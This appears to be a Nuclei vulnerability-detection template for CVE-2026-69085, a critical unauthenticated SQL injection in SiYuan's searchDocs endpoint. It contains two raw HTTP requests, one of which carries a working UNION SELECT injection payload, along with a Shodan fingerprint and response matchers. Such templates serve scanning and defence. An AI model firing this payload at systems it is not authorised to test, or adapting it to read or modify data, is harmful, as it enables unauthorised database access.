id: CVE-2026-69085 info: name: SiYuan <=3.7.2 - SQL Injection author: str4k3r severity: critical description: | SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content. impact: | Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality. remediation: | Update to version 3.7.3 or later. reference: - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4 - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3 - https://hub.docker.com/r/b3log/siyuan/tags - https://nvd.nist.gov/vuln/detail/CVE-2026-69085 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N cvss-score: 10 cve-id: CVE-2026-69085 epss-score: 0.0139 epss-percentile: 0.72327 cwe-id: CWE-89 metadata: verified: true max-request: 2 vendor: b3log product: siyuan shodan-query: http.favicon.hash:-1450125239 tags: cve,cve2026,siyuan,sqli,sqlite,unauth http: - raw: - | POST /api/notebook/lsNotebooks HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {} - | POST /api/filetree/searchDocs HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"k":"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"} extractors: - type: regex name: box_id part: body group: 1 internal: true regex: - '"id":"([0-9]{14}-[a-z0-9]{7})"[^}]*"closed":false' matchers-condition: and matchers: - type: status status: - 200 - type: regex part: body regex: - '"path":"[0-9]+\.[0-9]+\.[0-9]+"' # digest: 4a0a0047304502203cc3bf0e29714a0c488b9fbd3c11461f7db5323c998a0364243e3aebb3b5154c022100adae605ab624481bb9af721862f801cce7043be6d7b47129f857633c59c6dc0d:922c64590222798bb761d5b6d8e72950